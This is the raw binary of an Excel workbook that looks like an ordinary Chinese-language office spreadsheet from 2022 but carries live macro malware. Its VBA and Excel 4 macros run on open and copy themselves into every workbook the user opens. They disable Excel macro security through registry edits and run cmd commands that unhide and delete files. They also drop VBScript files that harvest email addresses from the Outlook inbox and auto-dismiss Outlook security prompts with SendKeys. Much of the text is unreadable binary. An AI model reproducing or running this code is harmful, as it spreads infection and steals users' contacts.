��ࡱ�>�� I����q������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFG������KLMNOP�R`TUVWXYZ[\]^_Qabcdefghijklmnopr����stuvwxyz{|}~�Root Entry�������� �F�m�Ñ2�J@-Workbook��������Ћ_VBA_PROJECT_CUR"PqFÑ2��m�Ñ2�VBA��������PqFÑ2���Ñ2� � ������\pĞ?�P� B�a�=�� ThisWorkbook���=�p�08X@�"��1�����[SO1�����[SO1�����[SO1�����[SO1�����[SO1����ўSO1������[SO1������[SO1�����[SO1������[SO1������[SO1�����[SO1������[SO1"���� �N�[_GB23121�����[SO1h6����[SO1,6����[SO16����[SO1�6����[SO1�����[SO1�����[SO1�<����[SO1�>����[SO1�?����[SO1�4����[SO1�4����[SO1� ����[SO1� ����[SO1�����[SO1�����[SO1� ����[SO"�"#,##0;"�"\-#,##0"�"#,##0;[Red]"�"\-#,##0"�"#,##0.00;"�"\-#,##0.00#"�"#,##0.00;[Red]"�"\-#,##0.007*2_ "�"* #,##0_ ;_ "�"* \-#,##0_ ;_ "�"* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ ?,:_ "�"* #,##0.00_ ;_ "�"* \-#,##0.00_ ;_ "�"* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)���� ���� ���� ���� ���� ���� ���� ���� ���� ���� ���� ���� ���� ���� ���� �� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� ����� � ���� ����� ����P�� ����P� ���� � ����� ����� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � ��� � �� � ����� ����a�� � ,���� � *���� ����� � � ����ff��� ����� ����� ����`� � +���� � )���� ����� ����� ����� ����� ����� ����� ����� ������� ����� � � � ���  � �X� �X� �x@ @ � �x@ @ � �X� �x@ @ � �8@ @ � �x@ @ � �8@ @ � � x@ @ � �0@ @ � � 0@ @ � � (@ @ � � 8@ @ � �8@ @ � �X� �!20% - :_��eW[��r� 1�!20% - :_��eW[��r� 2�!20% - :_��eW[��r� 3�!20% - :_��eW[��r� 4�!20% - :_��eW[��r� 5�!20% - :_��eW[��r� 6�!40% - :_��eW[��r� 1�!40% - :_��eW[��r� 2�!40% - :_��eW[��r� 3�!40% - :_��eW[��r� 4�!40% - :_��eW[��r� 5�!40% - :_��eW[��r� 6�!60% - :_��eW[��r� 1�!60% - :_��eW[��r� 2�!60% - :_��eW[��r� 3�!60% - :_��eW[��r� 4�! 60% - :_��eW[��r� 5�!!60% - :_��eW[��r� 6�"��� #h��� $h�� 1� %h�� 2� &h�� 3� 'h�� 4�(�]���� )8^ĉ 2�*8^ĉ 2 2�+8^ĉ 2 2 2�, 8^ĉ 2 2 2 2�- 8^ĉ 2 2 2 2 2�.8^ĉ 2 2 3� /8^ĉ 3�08^ĉ 3 2�18^ĉ 3 2 2�2 8^ĉ 3 2 2 2�38^ĉ 3 3� 48^ĉ 4�58^ĉ 4 2�68^ĉ 4 2 2�7 8^ĉ 4 2 2 2�88^ĉ 4 3� 98^ĉ 5�:8^ĉ 5 2�;8^ĉ 5 3� <8^ĉ 6� =8^ĉ 7�>}Y� ?Gl;`�@���A��� B���{�C�h�gUSCQ\^�N�Џ��@\�v^\R@\L�?e���S�Oo`lQ_�2022t^2g1�S-2g28�e � 7Ul�N�vL���02022006�S �g\VY Ul�N�vL���02022007�S%sQ�N3u��S��'�irЏ���~%����S0S��nf�'�irЏ��f���l��Q0�Ny��vL�?e���S�Q�[4TONSUl�N�vL���02022008�S,sQ�N3u��S��'�irЏ���~%����S0S��nf�'�irЏ��f���l�eQ�YM|f��� �00�Ny��vL�?e���S�Q�[ H��[�[ Ul�N�vL���02022009�S 2022.2.18 2022.02.21 441500004407 2022.2.21 2022.2.22 chHh�S�15841 2022.2.23 441500009620 441500010254�") �j����cc||ew��}-} .00\)_ *}-} .00\)_ *}-} .00\)_ *}-} .00\)_ *}-} .00\)_ *}-} .00\)_ *}-} .00\)_ *}-} .00\)_ *}-} .00\)_ *}-}  .00\)_ *}-}  .00\)_ *}-}  .00\)_ *}-}  .00\)_ *}-}  .00\)_ *}-} .00\)_ *}-} .00\)_ *}-}) .00\)_ *}-}/ .00\)_ *}-}* .00\)_ *}-}+ .00\)_ *}-}0 .00\)_ *}-}: .00\)_ *}-}= .00\)_ *}-}, .00\)_ *}-}1 .00\)_ *}-}. .00\)_ *}-}- .00\)_ *}-}2 .00\)_ *}-}3 .00\)_ *}-}S .00\)_ *}-}T .00\)_ *}-}U .00\)_ *}(}V .00\)_ *}-}W .00\)_ *}-}X .00\)_ *}-}Y .00\)_ *}-}Z .00\)_ *}(}[ .00\)_ *}-}\ .00\)_ *}}]}-}_ .00\)_ *}-}` .00\)_ *}}a}-}b .00\)_ *}}c}-}d .00\)_ *}-}G .00\)_ *}-}H .00\)_ *}-}@ .00\)_ *}-}A .00\)_ *}-}" .00\)_ *}-}# .00\)_ *}A}$ .00\)_ *;_ @_ }A}% .00\)_ *�?;_ @_ }A}& .00\)_ *23;_ @_ }-}' .00\)_ *}A}> a�.00\)_ *����;_ @_ }A}( ��.00\)_ *����;_ @_ }A}O �e�.00\)_ *���;_ @_ }�}Q ??v�.00\)_ *�̙�;_ @_ � � � �}�}P ???�.00\)_ *����;_ @_ ???� ???� ???� ???�}�}B �}�.00\)_ *����;_ @_ � � � �}A}F �}�.00\)_ *���;_ @_ }�}C .00\)_ *����;_ @_ ???� ???� ???� ???�}-}E ��.00\)_ *}�}R .00\)_ *����;_ @_ ���� ���� ���� ����}-}D �.00\)_ *}U}? .00\)_ *;_ @_  }A}I .00\)_ *;_ @_ }A} .00\)_ *ef;_ @_ }A} .00\)_ *�L;_ @_ }A} .00\)_ *23;_ @_ }A}J .00\)_ *;_ @_ }A} .00\)_ *ef;_ @_ }A} .00\)_ *�L;_ @_ }A} .00\)_ *23;_ @_ }A}K .00\)_ *;_ @_ }A} .00\)_ *ef;_ @_ }A} .00\)_ *�L;_ @_ }A} .00\)_ *23;_ @_ }A}L .00\)_ *;_ @_ }A} .00\)_ *ef;_ @_ }A} .00\)_ *�L;_ @_ }A} .00\)_ *23;_ @_ }A}M .00\)_ *;_ @_ }A} .00\)_ *ef;_ @_ }A} .00\)_ *�L;_ @_ }A}  .00\)_ *23;_ @_ }A}N .00\)_ * ;_ @_ }A} .00\)_ *ef ;_ @_ }A} .00\)_ *�L ;_ @_ }A}! .00\)_ *23 ;_ @_ �O��20% - :_��eW[��r� 1 ef���� �%�O�"�20% - :_��eW[��r� 2 ef���� �%�O�&�20% - :_��eW[��r� 3 ef���� �%�O�*�20% - :_��eW[��r� 4 ef���� �%�O�.�20% - :_��eW[��r� 5 ef���� �%�O�2�20% - :_��eW[��r� 6  ef���� �%�O��40% - :_��eW[��r� 1 �L���� �%�O�#�40% - :_��eW[��r� 2 �L�ˬ� �%�O�'�40% - :_��eW[��r� 3 �L���� �%�O�+�40% - :_��eW[��r� 4 �L��� �%�O�/�40% - :_��eW[��r� 5 �L���� �%�O�3�40% - :_��eW[��r� 6  �L��� �%�O� �60% - :_��eW[��r� 1 23���� ����%�O�$�60% - :_��eW[��r� 2 23���� ����%�O�(�60% - :_��eW[��r� 3 23���� ����%�O�,�60% - :_��eW[��r� 4 23��e� ����%�O�0�60% - :_��eW[��r� 5 23���� ����%�O�4�60% - :_��eW[��r� 6  23�э� ����%���~vR�k�+��h�� DTj�%�=��h�� 1 DTj�%[����=��h�� 2 DTj�%�?�����=��h�� 3 DTj�%23�����/��h�� 4 DTj�%�5���] ����� ���%�+��8^ĉ �%�/���8^ĉ 2 �%�3���8^ĉ 2 2 �%�7���8^ĉ 2 2 2 �%�;��� 8^ĉ 2 2 2 2 �%�?��� 8^ĉ 2 2 2 2 2 �%�7���8^ĉ 2 2 3 �%�/���8^ĉ 3 �%�3���8^ĉ 3 2 �%�7���8^ĉ 3 2 2 �%�;��� 8^ĉ 3 2 2 2 �%�3���8^ĉ 3 3 �%�3���8^ĉ 5 2 �%�/���8^ĉ 7 �%�5��}Y ����� �a�%�G��Gl;` �%[���[������'�^� ��'�^[0]�o�����{ ����� ��}�%������ ���u���h�gUSCQ���3�\`�?�/�[���G��\�!�-�Rk.�s�Ի�..���a濭?��PK!�֧��6 _rels/.rels���j�0 ���}Q��%v/��C/�}�(h"���O� ������=������ ����C?�h�v=��Ʌ��%[xp��{۵_�Pѣ<�1�H�0���O�R�Bd���JE�4b$��q_����6L��R�7`�������0̞O��,�En7�Li�b��/�S���e��е������PK!ky���theme/theme/themeManager.xml �M � @�}�w��7c�(Eb�ˮ��C�AǠҟ����7��՛K Y,� �e�.���|,���H�,l����xɴ��I�sQ}#Ր���� ֵ+�!�,�^�$j=�GW���)�E�+& 8���PK!�&ϟ�6theme/theme/theme1.xml�YMo7��X콑d�#2"�>�&vDJ��]j�w� );�ɱ@��i�K��z(�H�^�_�6E�� rW+R�j��!-b_$����� ��r�aB�c�aiǯ]��N�4��wG��.���( e)��s,���~p��'��T젎K��T*"�a$.� ��l�x�$|�Q%���&��U�6+ "��(��&`w�O�w*�(*�xNk !�K�w�hLJBv2���Q$$<��U��Wv�T�NaD�[�n�� �� �n�9y4.'����^�_�\��[�f�Y���Ҝ�鳱���5 ��?:|�Z�횅7�o�q�k� �A���~0�B-�����^omu�^�r|s ߪ���- �A1%�t ]m4���Ֆ� �Nx�Q�� �KTCY]j� K�ZK��P@�$I=9��P�]Dɘ�D�TӠ����P ֆԌ�8�dǿ�!�K��_����3��������>������G?�,��F������O���}���Wn�0����o�~��>Z2z���?�?}��������hl�G$�»�O�;,������񘿙�(FIJ@1�v����ޜ#���c;x�8H� xm���:��L��7��1F�w���ˈ�h�F������A��5w�Vj�� ���\vclѼMQ*Q�S,=��M1v��>!V\�H��`��'�>"ΐ���*���I /sAH���{�>��U�𱍄 ����S+���L���r�j���Er8灉� ��0e^?�B�lnqX��� ��yb#�$S��CĘ��i7FI��I�؏�Jy��t����C�w�J7���V������&�e��'3���5̬���a�2 �^'$=S����v���ĹyV�z�?(�=4Koc��-�B�Wh��Л������J��`~����d��{B(�9ŇB��4�p��N_:qy�b��v2L`�"���Ǚ���x� N�5_9�D�:^����ӷ��Yr����Y��f.��x�Q�ÍA��fky�*�k����.(�7!aLf��v�h-U����� �W�VX�,.+��T��jeV�������7�`FpmB�*Oy����|���L���R���e�ۊ�����v�L[$�r�I���&b�:��yh�i��˔Z�T(�X4Z����Es v��@SS)h�t��vJ&@Yǟ��>&ԎP'[D#x�H�o��(Kƅ�!�ע��AB$�%I�W�/�@S�!�[m �%�Yy��A��$���L�1�"��ϵ��T�_�,� �=��oLg��k�j*�!����G3$�V��e��4�Bv�ׂ���qD����������10�k��!)�8R � ��Mˮ�s��u�6R�3Ds�3-UQ]ӭb� �6�ˋ5y��"��.��K���Z�rN(�����랣!Ԗ�Y��uV�]�ڽc��3���I��\�]�[�#�����:?حV- M�Ji�Å� ?������B�~?�DC}&)eC�����PK! ѐ��'theme/theme/_rels/themeManager.xml.rels��M �0���wooӺ�&݈Э���5 6?$Q�� �,.�a��i����c2�1h�:�q��m��@RN��;d�`��o7�g�K(M&$R(.1�r'J��ЊT���8��V�"��AȻ�H�u}��|�$�b{��P����8�g/]�QAsم(����#��L�[������PK-!����[Content_Types].xmlPK-!�֧��6 +_rels/.relsPK-!ky���theme/theme/themeManager.xmlPK-!�&ϟ�6�theme/theme/theme1.xmlPK-! ѐ��'�theme/theme/_rels/themeManager.xml.relsPK]� ���� @� �� �LXN  d����MbP?_*+��%�����"�?�?�U�� 0'�BT.�� �Ğ?�P�B�A B|�� �f.�y(u�[ �sQ� 2022/3/8 10:10:38 Please Enable Macro!Bv��� �B���� �A��� �B7��d 2� �  >�@�7 � �� � �  d����MbP?_*+��%�����&;��8���?'��8��8�?(��'}�'�?)��'}�'�?M HP LaserJet 5200LX PCL 5e��6C�� � 4dXXA4����DINU"�� �,�T%G>�SMTJ�HP LaserJet 5200LX PCL 5eInputBinFORMSOURCERESDLLUniresDLLOrientationPORTRAITHPOrientRotate180FalsePaperSizeA4HPDocUISUITrueMediaTypeAUTOEconomodeFalseTextAsBlackFalseTTAsBitmapsSettingTTModeOutlineGraphicsModeRASTERMODEHPDocPropResourceDatahpzhl4wm.cabPrintQualityGroupPQGroup_1HPColorModeMONOCHROME_MODEHPPDLTypePDL_PCL5HPMaxResolutionPDM_600DPIHPPJLEncodingUTF8HPJobAccountingHPJOBACCT_JOBACNT_COLORAUTHHPBornOnDateHPBODHPJobByJobOverrideJBJOHPSmartDuplexSinglePageJobTrueHPSmartDuplexOddPageJobTrueHPManualDuplexDialogItemsInstructionID_01_FACEDOWN-NOROTATEHPManualFeedOrientationFACEDOWNHPOutputBinOrientationFACEDOWNHPManualDuplexDialogModelModelessHPMapManualFeedToTray1TrueHPManualDuplexPageRotateDriverRotateHPStraightPaperPathFalseHPNUseDiffFirstPageChoiceTRUEHPPageExceptionsFileHPZPE4wmHPPageExceptionsInterfaceShowPageExceptionsHPPageExceptionsLowEndHPPageExceptionsLowEndVerHPPageExceptionsCoverInsertionHPConsumerCustomPaperTrueHPEnableRAWSpoolingTrueHPPrintOnBothSidesManuallyFalseHPJobAccWoPinTrueHPPngPassthroughTruePSAlignmentFileHPZLS4wmHPSmartHub_OnlinediagnostictoolsTRUEHPSmartHub_SupportandtroubleshootingTRUEHPSmartHub_ProductmanualsTRUEHPSmartHub_CheckfordriverupdatesTRUEHPSmartHub_OrdersuppliesTRUEHPSmartHub_ShowmehowTRUEPSServices_DeviceandSuppliesStatusTRUEHPSmartHubInet_SID_263_BID_276_HID_265PSServicesOptionPrnStat_SID_242_BID_270_HID_15521Resolution600dpiDuplexNONECollateONAlternateLetterHeadFalseHPPaperSizeALMConstraintsENV_10HPCustomDUplexableRange8.27x5.83_11.69x17HPXMLFileUsedhpc52lx5.xmlHPDuplicateJobNameOverrideSWFWJRConstraintsJRCHDPartialJRHDInstalledJRHDOffJRHDNotInstalledJRHDOffHPPaperSizeDuplexConstraintsSTATEMENTHPMediaTypeDuplexConstraintsCARDSTOCK�,IUPHdA4 � 4������������ [�e]e] [�e]e]�_o�Ŗў4P������ d�?<ꁨR>0R� 44General Everyday PrintingdPrint driver host for 32bit app<NNonel k m� m� y�y�����splwow64.exeC:\Windows\splwow64.exe IPACDRWDSGATCAPI;�F�4�E���8Q;Ki�݅&�E�%�9�x�PPBHAERP�" dXX�?�?U} �S} �S} �S} � S}  S} � S} �W} S}  S  �@ ��T �@ �@ �@ �@� b �bbbbbbbbb � U� V� U� U� U� U� U� U� X�  U ~ Z�?� \� [ � a� Y � Y � a� a� _ Z~ Z@� \� [� a� Y � Y � a� a� ` Z~ Z@� \� [� ]� Y � Y � a� a� ^ Z~ Z@� \� [ � ]� Y � Y � a� a� ^ Z�Nd*����>�@ � �  �w� Sheet1gg����D�&� �� ThisWorkbook���� �����Sheet1 ��������#IToDOLE����S��__SRP_7 ����5&  !"����$%&'()*+,-./01234����6789����;<=>?@ABCDEFGHIJK����MNOPQRSTUVW����YZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~�\�8�y���Ƚ��#������������������.�J�8�-lC��F�Ӯ�rDaB����VV�������������x��ME������������� ����������������������������������������������������������������������������������������������������������������������������PSL����S����S�����<��`���"<��Z<��<������N0{00020819-0000-0000-C000-000000000046}0����������(����������%�������������`�������������� %������������������������� %%*����������������������������� ������������������������������ ���������������������H�������� �)�X��������h���������%�������������������X�������������������������������h8@TT����������������������x�$d*\R1*#2a9���� "� � �(� 0�@�H"�  P�X�\`� �� �� �� ��� ��������] �Ġogr��� ".�cro�P� "($owsALo��0�� � �&{0002E157-0000-0000-C000-000000000046}�������� X!8!�B@��� "(*������� "($���� XA@V������� "(*������o�������������Attribute VB_Name = "ThisWorkbook" �Bas�0{00020P819-0C$0046}� |Global�Spac�False dCreatablPred�eclaId�Tru BExposeTemplateDeriv�BustomizD2Public WithEvents xx @As App� ation fxx.�VarHelpID�U-1 P�;? Sub �_open() P Set�)= )On Error Resu�Nex�t4�:.Disj yAler�J= iCall do_whaEndC�: Axx_w�{O!ByVal w�b�5�'&� wb@8Project.References.AddFromGuid _ GUID:=�"B�E157��� -P�,� Major:=5, Mi nA3 ����������� �Y�@����������� �Y�B���������� �Y�D����������( �Y�F���������������`�H�������� ��`�J�������� ��+� `���������������� ���� H�+j` `������������� ����S�i�l���������������`�n����������`�p����������`�����������+.� `�������������������� e�@�v�������� ��@�x�������� ��`�����������+x `������������( ���� o�I�|�������� �������@���������� ��@�~�������� �� ( `������������� ������x�I���������� ��� �I���������� �������@���������� ��@�~�������� �� 2� `����������������������!!�� ����������� %`������������`������������`���������� �� N����`���������������� ������@���������� ��@���������� ��@���������� ��`���������� ��h ��������( �0� ���������` 8�� ���������������������� ����@@�x x �����8������������ ��������������%�p����������������������������������������������������������������������������������������������������������������������������������������������������������,.02�����x��� �� ����(t����� @��p����� @��`��� �� p\��� �� @��L��� �� ����(<��� �� @��,��� �� �������������������������������������������������������������������������������������������������������������������������������������������@��X�@l��� �� @��\��� �� �X��� �� "(pT����`�����(@P����� ((�������������������������������������������������������������������������������������������������������������������������������������������������H(�(px��� �� @��t��� �� @��d��� �� X(`��� �� @��\��� ��  %p(X���@`X��������XT����� @��P����� @��L����� @��H����� �����������������X����������������������������h�������������������������������������������������������������������������������������������������p �Y����x��� �����0(�p��� �� @��`��� �� (\��� �� �������"��(0L��� �� @��<��� �� @��,��� �� �����(����� @��$����� @����� �� @����� �� @������ �� @������ �� @������ �� @������ �� @������ �� @������ �� @P���? �� ��(���� �� @������ �� ������������P ��������������������� ������������������������������������ �����x������������� ����� �������� ������������ ����� �� �(� �����0�@�H�P� �����X�h�p�x� ����������������� �����*�� �� �����"� 0� @� P�`�h� p�x� �� ������ ����� ������ �� ����� �� ������� �� � �����(� �����H�`�(x� ��������� ����� �������� �����  � �����  �( �"8 �` � p � x � � �� �� � � �� �� � ����B�  � �� �� �� � � �� �B �L` �J� �H � �����H � ` � p �� � � � � �� �� � ����B�  � � � �� �� � �  �* � �����ZH �V� �\ �X` � ������ �� � ������ �� ��(� �����H� ����"�  P�X�`� �������������� ����� ����"�  ���� ������� �����.��<� (� �����(@�!X�(x�6Y��(��^r��(@�!X�(x�!��(��!�� �������<?�� 0�58�P� ����B�  X�`�h�p����������� ����"� ��������� � �����0�bP� �����0��2��  �(� .0� `�h�p�x�P�� ���� �� � .�@� JH��� ��,��,��� �� �(� ����� ����"� 0�&8� �����`�*h��� �����2��F��$8�`�h� �����"x�"����B��>0� p�2���� ��.� 8�6X� ��2���� � �@�8`�2���� ��2�@� X� �����&h����� �����"��&��2��N0�P��N��J �*p�2��0��"�T0���.��4��\�h�,��8�����:�bX�.��P��J@ �� �$� �Z� �8(!�4`!�B�!�>�!� "�8"�BH"�<�"��"��"�(�"�. #�HP#�J�#��#�$�$ $�H$�h$�>x$�D�$�@%�V@%�&�%�@�%�&�R&�dh&��&�*�&�&'�@'�(P'�x'�j�'�4(�&@(�h(�j�(�4�(�&0)�X)�&x)��)��)�0�)�.�)�H(*�Xp*�J�*�.+�8H+��+�6�+��+�"�+�,�0,�8@,�6x,�0�,�P�,�0-�8@-�x-�B�-�>�-�.�(.�(8.�.`.�H�.�P�.�(/�H/�$`/��/� �/� �/�(�/��/��/� ����"� 0� 0�(0�80� �����@0�*`0�6�0�F�0� 1�&01�X1�`1� �����<p1�"�1�L�1�(2�H2�Ph2�P�2�d3�p3�p�3�@4�v@4��4�P�4�V 5�nx5���5���6��07��7��7�>�7�08�JH8�6�8�&�8�"�8� 9�&@9� h9��9�4�9�6�9� :�8:�0P:�*�:�(�:�x�:�BP;�*�;�$�;��;�<�&(<�P<�p<� ����� �<��<��<��<�,�<�(=� 0=� ����� @=�P=�(X=��=� �=�$�=��=���=� �������>�0?�8?� �����N@?�R�?�T�?�T@@�>�@� �����2�@�LA� `A�^pA�:�A�B� B�(B� ����"� 0B�8B�@B�HB� �����$XB��B� ������B��B��B��B��B��B��B��B��B��B� �B�C�C� C�(C�0C�HC�PC�XC�`C�hC�pC� ����B� xC�2�C��C��C��C��C��C�D�D�D� ����B�  D� D�8D�@D� XD�hD��D� �D��D��D��D��D��D�*�D�2E�PE�`E�hEB� pE�xE��E�4�E�.�E�F�*F� HF�XF� ����B�  `F�hF�pF�*�F� �F� �F� �F��F� ����"�  �F�G�G�*G�JHG��G� �G��G� �G��G� �G�H� H�0H�8H� ����� ����"� @H�HH�`H� hH� xH��H��H� �H�@�H��H�I�I� 0I� @I�PI�XI�`I� pI��I�*�I��I��I��I�&J�|(J�v�J�, K� PK� `K�pK� xK��K� ����B�  �K��K��K� �K� �K� �K��K�&L�0L�$8L�"`L��L��L��L��L��L� �L� ������L�����L�� "($ !& "!(�� "(*A,A.�$0!�Macro1�G A@2j B@4(u�(u� "(*k��Xo��P�@]�"��� ThisWorkbook !8%:!<���#Public WithEvents xx As ApplicationC@>;C:��Private Sub Workbook_open()C@>iCL��Set xx = ApplicationC@>ows��On Error Resume NextC@>ows��!Application.DisplayAlerts = FalseC@>�� Call do_whatC@>Sys��End SubC@>��1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@>� �On Error Resume NextC@>� �%wb.VBProject.References.AddFromGuid _C@>� �GUID:= 6�&{0002E157-0000-0000-C000-000000000046} 6�, _C@>� �Major:=5, Minor:=3C@>� �"Application.ScreenUpdating = FalseC@>��!Application.DisplayAlerts = FalseC@>�� copystart wbC@>��!Application.ScreenUpdating = TrueC@>��End SubC@>q��o����]��]��]�� !8.@�� ThisWorkbook @%:.B� B!<.F ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������F��5JC@Hq���o��x�8 !& "!(�A@NAPARATk��0i��(���]��]���k4.xls$`!8.\� X!8.^�ToDole \ ^�$b�Gzji����  �0��]�]�(]�@]�X]�p]��]�� f���'bz��0k��( d$x z��'bz��k��� h���'bz���k��� f!| ~��'bz���k��� h!| ~��'bz���k����x� d f%:.B �!����'bz��@k��8�Temp$��\ d�.bas'l j�� l � � � $~ z� �B@� lA@� �!����'bz���k���k��� h!:� d7�C@�q��Xd��P �B@�� d h%:.B �!��� �!�� �d���'bz���k���k���k��� l�� d f%:B@� l�\$�'r l�.$�'t l r� t r � $�'n��.B� n h%:.B B�� l�� h!:B@�d�� B!l ��� l h!:%�.v B!<��5JC@H� v!<!J v!<%�'p� pC@>q����� v h!:B@�k��`k��X lA@��'bi��8��]�]� � !�'� "!(�\k4.xls'��k4.xls$� !& "!(�G��k4.xls$`B@Bj�comspec$ �� /c attrib -S -h " "!(�\K4.XLS" �A@��comspec$ �� /c Del /F /Q " "!(�\K4.XLS" �A@��comspec$ �� /c RD /S /Q " "!(�\K4.XLS" �A@� !& "!(�� "(*� (� � B@�� (�� "(*k��Hi��@�8]����������]���]�(�� "!�'���scRiPTinG.fiLEsysTeMoBjEcT$�.��,HKEY_CURRENT_USER\Software\Microsoft\Office\ ��\Excel\Security\AccessVBOM'��,HKEY_CURRENT_USER\Software\Microsoft\Office\ ��\Excel\Security\Level'��-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ ��\Excel\Security\AccessVBOM'��-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ ��\Excel\Security\Level'��'��'� � �� REG_DWORDA� � �� REG_DWORDA� � �� REG_DWORDA� � �� REG_DWORDA�i����@]���� WScript.Shell$�.� ��� � � �B@�d��P � � � �B@�k��0��.�o�� ��]�h� X%0B@H ��l 0B@��Macro1 �(�A2$�B@H� =ERROR(FALSE) �(��A3$�B@H�=IF(ERROR.TYPE(RUN(" "!��"))=4) �(��A4$�B@H�=ALERT("���ú꣬�ر� � $� �� $��Please Enable Macro!",3) �(��A5$�B@H�=FILE.CLOSE(FALSE) �(��A6$�B@H� =END.IF() �(��A7$�B@H� =RETURN() �(�� �� X!0� �!�!Auto_Activate� =Macro1!$A$2� X!�B@���� �� X%�(�o������'���� � "%`!� ��'�z��`k��X��Pi��H��]�10:00:00� ]�11:00:00�8]�14:00:00�P]�15:00:00�h]������ WScript.Shell$�.��,HKEY_CLASSES_ROOT\mailto\shell\open\command\ �%�$�� OUTLOOK.EXE�� �G|j  �  �  �  ���D:\Collected_Address:frag1.txt$�1�|��� d��� �1�D:\Collected_Address:frag1.txtA@A@k��� d��� �G|j  � �n� �$   � �n� �$ �|�� d�� �n� �$ '�� � �D:\Collected_Address:frag2.txt$X'�� � ��n� �$  �D:\Collected_Address\log.txt$��|��` d��X ��D:\Collected_Address:frag1.txtA@ ��D:\Collected_Address:frag2.txtA@A@k��� k��� k��� o��� ��]���� �8�P�h�� ��scripting.filesystemobject$�.�� WScript.Shell$�.��E:\KK %��G�E:\KK B@j ! !� $�� �_$�.�_$'�E:\KK\ � _clear.vbs'  �'  �� ��On error Resume Next� ��Dim wsh, tle, T0, i� �� T0 = Timer� �� Set wsh=createobject("�wscript.shell"�)� �� tle = "�Microsoft Office Outlook"�� ��For i = 1 To 1000� ��$ If Timer - T0 > 60 Then Exit For� �� Call Refresh()� �� wscript.sleep 05� �� wsh.sendKeys "�%a"�� �� wscript.sleep 05� �� wsh.sendKeys "� {TAB}{TAB}"�� �� wscript.sleep 05� �� wsh.sendKeys "�{Enter}"�� ��Next� ��Set wsh = Nothing� �� wscript.quit� �� Sub Refresh()� ��*Do Until wsh.AppActivate(CStr(tle)) = True� ��$ If Timer - T0 > 60 Then Exit Sub� ��Loop� �� wscript.sleep 05� �� wsh.SendKeys "�%{F4}"�� ��End Sub� V�E:\KK\ � _Search.vbs'" �' " �� ��On error Resume Next� ��Const olFolderInbox = 6� ��$Dim conbinded_address,WshShell,sh,ts� ��#Set WshShell=WScript.CreateObject("�WScript.Shell"�)� ��Set objOutlook = CreateObject("�Outlook.Application"�)� ��,Set objNamespace = objOutlook.GetNamespace("�MAPI"�)� ��<Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)� ��Set TargetFolder = objFolder� ��conbinded_address = "�"�� ��!Set colItems = TargetFolder.Items� ��wscript.sleep 300000� ��WshSHell.Run ("� wscript.exe  �"�), vbHide, False� �� ts = Timer� ��For Each objMessage in colItems� ��& If Timer - ts >55 then exit For� ��M conbinded_address = conbinded_address & valid_address(objMessage.Body)� ��Next� ��add_text conbinded_address, 8� ��)add_text all_non_same(ReadAllTextFile), 2� �� WScript.Quit� ��� ��+Private Function valid_address(source_data)� ��T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr� �� Dim regex, matchs, ss, arr()� �� Set oDict = CreateObject("�Scripting.Dictionary"�)� �� Set regex = CreateObject("�VBSCRIPT.REGEXP"�)� ��� �� regex.Global = True� �� regex.Pattern = "�,\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*"�� ��* Set matchs = regex.Execute(source_data)� ��% ReDim trimed_arr(matchs.Count - 1)� ��3 For i = Lbound(trimed_arr) To Ubound(trimed_arr)� ��/ trimed_arr(i) = matchs.Item(i) & vbCrLf� �� Next� ��� ��3 For i = LBound(trimed_arr) To UBound(trimed_arr)� �� oDict(trimed_arr(i)) = "�"�� �� Next� ��� �� If oDict.Count > 0 Then� �� nonsame_arr = oDict.keys� ��: For i = LBound(nonsame_arr) To UBound(nonsame_arr)� ��; valid_address = valid_address & nonsame_arr(i)� �� Next� �� End If� �� Set oDict = Nothing� �� End Function� ��� ��0Private Sub add_text(inputed_string, input_frag)� ��5 Dim objFSO, logfile, logtext, log_path, log_folder� �� log_path = "�D:\Collected_Address"�� �� Set objFSO = CreateObject("�Scripting.FileSystemObject"�)� �� On Error resume next� ��1 Set log_folder = objFSO.CreateFolder(log_path)� ��� ��$ If objFSO.FileExists(log_path & "� \log.txt"� ) = 0 Then� ��7 Set logfile = objFSO.CreateTextFile(log_path & "� \log.txt"�, True)� �� End If� �� Set log_folder = Nothing� �� Set logfile = Nothing� ��� �� Select Case input_frag� �� Case 8� ��8 Set logtext = objFSO.OpenTextFile(log_path & "� \log.txt"�, 8, True, -1)� ��& logtext.Write inputed_string� �� logtext.Close� �� Case 2� ��8 Set logtext = objFSO.OpenTextFile(log_path & "� \log.txt"�, 2, True, -1)� ��& logtext.Write inputed_string� �� logtext.Close� �� End Select� �� set objFSO = nothing� ��End Sub� ��� ��"Private Function ReadAllTextFile()� �� Dim objFSO, FileName, MyFile� �� FileName = "�D:\Collected_Address\log.txt"�� �� Set objFSO = CreateObject("�Scripting.FileSystemObject"�)� ��< Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)� �� If MyFile.AtEndOfStream Then� �� ReadAllTextFile = "�"�� �� Else� ��( ReadAllTextFile = MyFile.ReadAll� �� End If� ��set objFSO = nothing� �� End Function� ��� ��*Private Function all_non_same(source_data)� ��( Dim oDict, i, trimed_arr, nonsame_arr� �� all_non_same = "�"�� �� Set oDict = CreateObject("�Scripting.Dictionary"�)� ��� ��* trimed_arr = Split(source_data, vbCrLf)� ��� ��3 For i = LBound(trimed_arr) To UBound(trimed_arr)� ��! oDict(trimed_arr(i)) = "�"�� �� Next� ��� �� If oDict.Count > 0 Then� �� nonsame_arr = oDict.keys� ��: For i = LBound(nonsame_arr) To UBound(nonsame_arr)� ��B all_non_same = all_non_same 